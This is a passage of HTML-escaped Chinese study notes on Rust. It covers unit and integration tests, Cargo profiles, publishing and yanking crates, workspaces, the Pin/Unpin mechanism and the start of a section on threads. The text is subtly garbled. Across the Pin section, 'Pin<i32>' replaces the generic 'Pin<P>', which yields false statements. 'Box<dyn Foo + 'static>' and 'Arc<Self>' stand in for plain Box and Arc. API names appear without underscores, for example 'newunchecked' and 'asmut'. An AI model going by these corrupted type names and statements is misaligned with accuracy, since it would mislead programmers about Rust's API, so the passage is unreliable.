&lt;li&gt;&lt;code&gt;cargo test -- --ignored&lt;&#x2F;code&gt;: 运行具有&lt;code&gt;#[ignore]&lt;&#x2F;code&gt;属性的测试函数，默认行为是忽略具有&lt;code&gt;#[ignore]&lt;&#x2F;code&gt;属性的测试函数&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;单元测试通常放在一个名为&lt;code&gt;tests&lt;&#x2F;code&gt;的module中，并和被测试的代码写在同一个&lt;code&gt;rs&lt;&#x2F;code&gt;源文件中：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;#[cfg(test)]&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;mod tests {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    #[test]&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    fn it_works() {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        assert_eq!(2 + 2, 4);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;其中&lt;code&gt;#[cfg(test)]&lt;&#x2F;code&gt;表示条件编译，只有在运行&lt;code&gt;cargo test&lt;&#x2F;code&gt;时才会编译测试模块。&lt;&#x2F;p&gt;
&lt;p&gt;集成测试则是放在项目根目录下的&lt;code&gt;tests&#x2F;&lt;&#x2F;code&gt;目录中，与&lt;code&gt;src&#x2F;&lt;&#x2F;code&gt;目录平级：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;tests&#x2F;&lt;&#x2F;code&gt;目录下的每个文件都构成一个独立的crate，因此我们不需要&lt;code&gt;#[cfg(test)]&lt;&#x2F;code&gt;进行条件编译&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;cargo test --test TESTNAME&lt;&#x2F;code&gt;: 运行&lt;code&gt;tests&#x2F;TESTNAME.rs&lt;&#x2F;code&gt;中的所有测试&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;tests&#x2F;subdir&#x2F;mod.rs&lt;&#x2F;code&gt;: 可以用来为测试文件提供module&lt;code&gt;subdir&lt;&#x2F;code&gt;，因为所有子目录下的文件都不会被编译为独立的crate&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;只有library crate可以有集成测试，binary crate不支持集成测试&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;因此Rust项目通常将大部分逻辑实现在library crate中，然后提供一个binary crate作为thin wrapper&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;more-on-cargo&quot;&gt;More on Cargo&lt;&#x2F;h2&gt;
&lt;p&gt;Cargo有&lt;em&gt;release profile&lt;&#x2F;em&gt;的概念，默认有&lt;code&gt;dev&lt;&#x2F;code&gt;和&lt;code&gt;release&lt;&#x2F;code&gt;两个profile。我们可以通过&lt;code&gt;[profile.dev]&lt;&#x2F;code&gt;, &lt;code&gt;[profile.release]&lt;&#x2F;code&gt;覆盖默认的参数：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;[profile.release]&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;opt-level = 3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;将crate上传至*&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;crates.io&#x2F;&quot;&gt;crates.io&lt;&#x2F;a&gt;*只需要两步：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;用Github账号注册*&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;crates.io&#x2F;&quot;&gt;crates.io&lt;&#x2F;a&gt;*账号，获得API token，然后运行&lt;code&gt;cargo login $TOKEN&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;运行&lt;code&gt;cargo publish&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;欲成功上传，在&lt;code&gt;[package]&lt;&#x2F;code&gt;项目下要填写如下信息：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;name&lt;&#x2F;code&gt;: 与*&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;crates.io&#x2F;&quot;&gt;crates.io&lt;&#x2F;a&gt;*上已有的项目不能冲突&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;description&lt;&#x2F;code&gt;: 用一两句话介绍该项目&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;license&lt;&#x2F;code&gt;: 必须选择一个License，可使用SPDX规定的缩写作为License名称&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;可以用&lt;code&gt;MIT OR Apache-2.0&lt;&#x2F;code&gt;的形式指定Dual License&lt;&#x2F;li&gt;
&lt;li&gt;SPDX中没有的License，需要通过&lt;code&gt;license-file&lt;&#x2F;code&gt;直接指定License文件&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;一旦上传到*&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;crates.io&#x2F;&quot;&gt;crates.io&lt;&#x2F;a&gt;*，就不能再删除。若发布的某个版本存在严重问题，可以通过&lt;code&gt;cargo yank --vers 1.2.3&lt;&#x2F;code&gt;进行补救，执行后新项目将不能再下载并使用&lt;code&gt;1.2.3&lt;&#x2F;code&gt;版本，但已经生成了&lt;code&gt;Cargo.lock&lt;&#x2F;code&gt;文件的旧项目仍能使用&lt;code&gt;1.2.3&lt;&#x2F;code&gt;版本。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;当项目的规模扩大到一定程度，可能希望分解成多个crate来实现，此时就需要*workspace*功能对多个package进行组织：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;[workspace]&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;members = [&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &quot;bin-crate&quot;,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &quot;lib-one&quot;,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &quot;lib-two&quot;,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;]&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;ul&gt;
&lt;li&gt;一个workspace下的package共享一个&lt;code&gt;Cargo.lock&lt;&#x2F;code&gt;文件以及output目录&lt;&#x2F;li&gt;
&lt;li&gt;package之间默认不会有依赖，需要手动指定：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;[dependencies]&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;lib-one = { path = &quot;..&#x2F;lib-one&quot; }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;ul&gt;
&lt;li&gt;每个package的外部依赖都要各自指定，不能在workspace的&lt;code&gt;Cargo.toml&lt;&#x2F;code&gt;中指定&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;part-ii-advanced-rust&quot;&gt;Part II. Advanced Rust&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;pinned-pointers&quot;&gt;Pinned Pointers&lt;&#x2F;h2&gt;
&lt;p&gt;有时我们需要一个self-referential的struct，对于这种对象，其内存地址必须固定，也就是说其value不能被move。Rust提供了&lt;code&gt;Pin&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt;类型，来实现「pin」住内存的需求：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Pin&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt;是对指针&lt;code&gt;P&lt;&#x2F;code&gt;的包装，它要求&lt;code&gt;P&lt;&#x2F;code&gt;至少实现了&lt;code&gt;Deref&lt;&#x2F;code&gt;和&lt;code&gt;DerefMut&lt;&#x2F;code&gt;其中之一，&lt;code&gt;Pin&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt;的所有method都只为指针类型实现&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;也就是说，&lt;code&gt;Pin&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt;根本没有method，你甚至无法创建一个&lt;code&gt;Pin&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Pin&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt;提供的invariant是一个强约束，一旦为&lt;code&gt;P&lt;&#x2F;code&gt;的实例&lt;code&gt;p&lt;&#x2F;code&gt;创建对应的&lt;code&gt;Pin&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt;对象，就要求&lt;code&gt;p&lt;&#x2F;code&gt;指向的value永远不能被move或invalidate，直到该value析构（被drop）为止&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;也就是说，即使&lt;code&gt;Pin&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt;本身已经析构，只要&lt;code&gt;p&lt;&#x2F;code&gt;指向的value还有效，&lt;code&gt;Pin&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt;提供的约束就必须仍保持有效。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;注意:&lt;&#x2F;strong&gt; 使用&lt;code&gt;std::mem::swap&amp;lt;T&amp;gt;(x: &amp;amp;mut T, y: &amp;amp;mut T)&lt;&#x2F;code&gt;，可以在不改变&lt;code&gt;x&lt;&#x2F;code&gt;和&lt;code&gt;y&lt;&#x2F;code&gt;的地址的情况下，将&lt;code&gt;x&lt;&#x2F;code&gt;和&lt;code&gt;y&lt;&#x2F;code&gt;中的value交换位置，此时也发生了move。从中可以看出，对value的move不一定要持有其ownership，只要持有其mutable reference即可完成。&lt;&#x2F;p&gt;
&lt;p&gt;此外，还增加了一个Auto Trait &lt;code&gt;Unpin&lt;&#x2F;code&gt;，可以抵消pin的效果，即&lt;code&gt;&amp;lt;P as Deref&amp;gt;::Target: Unpin&lt;&#x2F;code&gt;时，就不需要维持&lt;code&gt;Pin&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt;的invariant，&lt;code&gt;Pin&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt;可以视同普通的&lt;code&gt;P&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;实际上大部分类型都是&lt;code&gt;Unpin&lt;&#x2F;code&gt;的，只有需要内存地址固定作为其invariant的类型&lt;code&gt;T&lt;&#x2F;code&gt;（例如自引用的类型），才需要显示声明为&lt;code&gt;!Unpin&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;通过引入一个（大小为零的）&lt;code&gt;std::marker::PhantomPinned&lt;&#x2F;code&gt;类型的field，可以避免自动实现&lt;code&gt;Unpin&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt;, &lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;, &lt;code&gt;Box&amp;lt;dyn Foo + &#x27;static&amp;gt;&lt;&#x2F;code&gt;, &lt;code&gt;Rc&lt;&#x2F;code&gt;, &lt;code&gt;Arc&amp;lt;Self&amp;gt;&lt;&#x2F;code&gt;等类型都是&lt;code&gt;Unpin&lt;&#x2F;code&gt;的，因为它们不要求内存地址固定即可工作，这里要分清指针指向的&lt;code&gt;T&lt;&#x2F;code&gt;是否为&lt;code&gt;Unpin&lt;&#x2F;code&gt;和指针本身是否为&lt;code&gt;Unpin&lt;&#x2F;code&gt;是两回事&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;code&gt;Pin&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt;实现pin功能实际上靠的就是encapsulation，其暴露的API不足以实现对其指针&lt;code&gt;P&lt;&#x2F;code&gt;指向的value进行move或invalidate，这样就阻止了对value进行move或invalidate。&lt;&#x2F;p&gt;
&lt;p&gt;我们来看对于&lt;code&gt;P: Deref&lt;&#x2F;code&gt;，&lt;code&gt;Pin&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt;提供了哪些接口：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;实现了&lt;code&gt;Deref&lt;&#x2F;code&gt;，&lt;code&gt;Deref::deref(&amp;amp;self)&lt;&#x2F;code&gt;返回一个&lt;code&gt;&amp;amp;&amp;lt;P as Deref&amp;gt;::Target&lt;&#x2F;code&gt;，这样&lt;code&gt;Pin&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt;作为指针就和&lt;code&gt;P&lt;&#x2F;code&gt;用法相同&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;只提供了unsafe的&lt;code&gt;Pin::newunchecked(x)&lt;&#x2F;code&gt;进行初始化&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Pin&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt;的invariant就是在此调用后，&lt;code&gt;x&lt;&#x2F;code&gt;指向的value就不能再被move或invalidate，直到该value析构为止&lt;&#x2F;li&gt;
&lt;li&gt;由于我们无法保证此invariant，所以该函数是unsafe的，invariant要由调用者保证&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;提供了&lt;code&gt;Pin&amp;lt;P&amp;gt;::asref(&amp;amp;self) -&amp;gt; Pin&amp;lt;&amp;amp;&amp;lt;P as Deref&amp;gt;::Target&amp;gt;&lt;&#x2F;code&gt;，可以将&lt;code&gt;&amp;amp;Pin&amp;lt;Pointer&amp;lt;T&amp;gt;&amp;gt;&lt;&#x2F;code&gt;变为&lt;code&gt;Pin&amp;lt;&amp;amp;T&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;该函数是safe的，因为根据&lt;code&gt;newunchecked&lt;&#x2F;code&gt;的约束条件，在从&lt;code&gt;Pointer&amp;lt;T: Trait&amp;gt;&lt;&#x2F;code&gt;获取&lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt;的过程中不会发生move&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;再来看对于&lt;code&gt;P: DerefMut&lt;&#x2F;code&gt;，&lt;code&gt;Pin&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt;又提供了哪些接口：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;没有实现&lt;code&gt;DerefMut&lt;&#x2F;code&gt;，因此无法获取被指向的类型&lt;code&gt;T&lt;&#x2F;code&gt;的mutable reference&lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;进行move&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;提供了&lt;code&gt;Pin&amp;lt;P&amp;gt;::asmut(&amp;amp;mut self) -&amp;gt; Pin&amp;lt;&amp;amp;mut &amp;lt;P as Deref&amp;gt;::Target&amp;gt;&lt;&#x2F;code&gt;，可以将&lt;code&gt;&amp;amp;mut Pin&amp;lt;Pointer&amp;lt;T&amp;gt;&amp;gt;&lt;&#x2F;code&gt;变为&lt;code&gt;Pin&amp;lt;&amp;amp;mut T&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;若&lt;code&gt;Pointer::derefmut&lt;&#x2F;code&gt;能保持invariant，不move&lt;code&gt;T&lt;&#x2F;code&gt;的value，则&lt;code&gt;Pin&amp;lt;Pointer&amp;lt;T&amp;gt;&amp;gt;&lt;&#x2F;code&gt;的invariant能够保持，于是&lt;code&gt;Pin&amp;lt;&amp;amp;mut T&amp;gt;&lt;&#x2F;code&gt;的invariant也能保持&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;提供了&lt;code&gt;Pin&amp;lt;P&amp;gt;::set(&amp;amp;mut self, &amp;lt;P as Deref&amp;gt;::Target)&lt;&#x2F;code&gt;，可以替换被指向的类型&lt;code&gt;T&lt;&#x2F;code&gt;的value，由于替换前会执行drop函数，这并不违反invariant&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;对于&lt;code&gt;P: DerefMut, &amp;lt;P as Deref&amp;gt;::Target: Unpin&lt;&#x2F;code&gt;，&lt;code&gt;Pin&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt;额外实现了&lt;code&gt;DerefMut&lt;&#x2F;code&gt;，这样一来&lt;code&gt;Pin&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt;就和&lt;code&gt;P&lt;&#x2F;code&gt;全无差别。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;应当注意到，调用&lt;code&gt;newunchecked(x)&lt;&#x2F;code&gt;时建立的contract实际上包括两点：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;在&lt;code&gt;Pin&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt;尚未析构前，通过&lt;code&gt;Pin&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt;调用&lt;code&gt;P::deref&lt;&#x2F;code&gt;、&lt;code&gt;P::derefmut&lt;&#x2F;code&gt;以访问到目标&lt;code&gt;T&lt;&#x2F;code&gt;时，不会对&lt;code&gt;T&lt;&#x2F;code&gt;的value进行move，即要求指针&lt;code&gt;P&lt;&#x2F;code&gt;的实现不是malicious的&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;在&lt;code&gt;Pin&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt;析构后，即&lt;code&gt;P&lt;&#x2F;code&gt;析构后，&lt;code&gt;P&lt;&#x2F;code&gt;指向的value仍不会被move&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;例如若&lt;code&gt;P&lt;&#x2F;code&gt;为&lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;，则&lt;code&gt;P&lt;&#x2F;code&gt;“析构”后，被其指向的&lt;code&gt;v: T&lt;&#x2F;code&gt;仍然可以存在，并且可以被move，那么调用者就必须保证&lt;code&gt;v&lt;&#x2F;code&gt;实际上不可能被move，否则就属于违反contract，是调用者的编程错误&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;关于第一点，由于&lt;code&gt;Pin&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt;将接口限制在以上范围，这就使得在&lt;code&gt;Pin&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt;析构前，完全不可能获取对&lt;code&gt;P&lt;&#x2F;code&gt;指向的&lt;code&gt;T&lt;&#x2F;code&gt;的ownership或mutable reference，因此唯一有机会对&lt;code&gt;T&lt;&#x2F;code&gt;的value进行move的就只有&lt;code&gt;P::deref&lt;&#x2F;code&gt;和&lt;code&gt;P::derefmut&lt;&#x2F;code&gt;。只要保证这两个函数不是malicious的，就能保证第一条约束条件成立。&lt;&#x2F;p&gt;
&lt;p&gt;关于第二点，注意到&lt;code&gt;Pin&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt;在内存中的表示与&lt;code&gt;P&lt;&#x2F;code&gt;完全相同，这样当&lt;code&gt;Pin&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt;析构时，&lt;code&gt;P&lt;&#x2F;code&gt;也随之析构，且在&lt;code&gt;Pin&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt;析构前我们无法直接取出&lt;code&gt;P&lt;&#x2F;code&gt;，因为&lt;code&gt;Pin&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt;只提供了unsafe的&lt;code&gt;Pin&amp;lt;P&amp;gt;::intoinnerunchecked(Pin&amp;lt;P&amp;gt;) -&amp;gt; P&lt;&#x2F;code&gt;。为了满足第二条约束条件，我们通常要求&lt;code&gt;P&lt;&#x2F;code&gt;对&lt;code&gt;T&lt;&#x2F;code&gt;是own而不是borrow关系，即当&lt;code&gt;P&lt;&#x2F;code&gt;析构时&lt;code&gt;T&lt;&#x2F;code&gt;也一起析构，那么&lt;code&gt;T&lt;&#x2F;code&gt;就不可能还会被move。&lt;&#x2F;p&gt;
&lt;p&gt;对于&lt;code&gt;Box&amp;lt;dyn Foo + &#x27;static&amp;gt;&lt;&#x2F;code&gt;、&lt;code&gt;Rc&lt;&#x2F;code&gt;、&lt;code&gt;Arc&amp;lt;Self&amp;gt;&lt;&#x2F;code&gt;，显然满足上述两个条件，因此我们可以安全地将它们Pin住。实际上，我们可以safe地从&lt;code&gt;T&lt;&#x2F;code&gt;直接创建&lt;code&gt;Pin&amp;lt;Pointer&amp;lt;T&amp;gt;&amp;gt;&lt;&#x2F;code&gt;，并能保证&lt;code&gt;T&lt;&#x2F;code&gt;不被move：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Box&amp;lt;T&amp;gt;::pin(T) -&amp;gt; Pin&amp;lt;Box&amp;lt;T&amp;gt;&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Rc&amp;lt;T&amp;gt;::pin(T) -&amp;gt; Pin&amp;lt;Rc&amp;lt;T&amp;gt;&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Arc&amp;lt;T&amp;gt;::pin(T) -&amp;gt; Pin&amp;lt;Arc&amp;lt;T&amp;gt;&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;使用&lt;code&gt;Pin&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt;时，还有一些注意点。首先，&lt;code&gt;drop&lt;&#x2F;code&gt;函数接受的参数为&lt;code&gt;&amp;amp;mut self&lt;&#x2F;code&gt;，但若&lt;code&gt;Self&lt;&#x2F;code&gt;有被pin住的需求，则必须先将其&lt;code&gt;&amp;amp;mut Self&lt;&#x2F;code&gt;类型的参数转化为&lt;code&gt;Pin&amp;lt;&amp;amp;mut Self&amp;gt;&lt;&#x2F;code&gt;，再实现drop函数，以避免在drop的过程中违反了&lt;code&gt;Pin&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt;的invariant。&lt;&#x2F;p&gt;
&lt;p&gt;其次，有时可能希望操作被pin住的struct的其中一个field，或者被pin住的enum的一个variant，这就需要获取对其的引用。我们需要通过unsafe的helper method来获取这样的引用，一般称之为projection。&lt;&#x2F;p&gt;
&lt;p&gt;以获取mutable引用为例，此时有两种选择：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;structral projection，即获取一个&lt;code&gt;Pin&amp;lt;&amp;amp;mut Field&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;non-structral projection，即获取一个&lt;code&gt;&amp;amp;mut Field&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;但对同一个field，不能混用两者&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;对于non-structral projection，只要没有同时存在一个&lt;code&gt;Pin&amp;lt;&amp;amp;mut Field&amp;gt;&lt;&#x2F;code&gt;，我们就无需对&lt;code&gt;&amp;amp;mut Field&lt;&#x2F;code&gt;保证任何invariant，这样的用法自然是safe的。&lt;&#x2F;p&gt;
&lt;p&gt;对于structral projection，需要保证以下几点：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;只有当所有采用structral projection的field都是&lt;code&gt;Unpin&lt;&#x2F;code&gt;时，整个struct才能是&lt;code&gt;Unpin&lt;&#x2F;code&gt;的&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;整个struct不能提供违反structral projection的invariant的method，包括其drop函数也如此&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;即method不能移动structral field&lt;&#x2F;li&gt;
&lt;li&gt;且drop函数要将&lt;code&gt;&amp;amp;mut Self&lt;&#x2F;code&gt;先转换为&lt;code&gt;Pin&amp;lt;&amp;amp;mut Self&amp;gt;&lt;&#x2F;code&gt;再行操作&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;concurrency&quot;&gt;Concurrency&lt;&#x2F;h2&gt;
&lt;p&gt;要进行并发编程，首先就需要有多线程，在Rust中线程功能由&lt;code&gt;std::thread&lt;&#x2F;code&gt;提供：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Rust的线程是1:1的，M:N的green thread&#x2F;coroutine可以由额外的crate提供&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;通过&lt;code&gt;thread::spawn(move || {...})&lt;&#x2F;code&gt;创建一个线程&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;它接受一个&lt;code&gt;FnOnce() -&amp;gt; T&lt;&#x2F;code&gt;参数&lt;&#x2F;li&gt;
&lt;li&gt;返回一个&lt;code&gt;thread::JoinHandle&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;通过&lt;code&gt;JoinHandle&amp;lt;T&amp;gt;::join(self) -&amp;gt; Result&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;可以join创建的线程，若不调用则当返回的&lt;code&gt;JoinHandle&lt;&#x2F;code&gt;drop时，就会和创建的线程detach&lt;&#x2F;p&gt;
&lt;ul&gt;
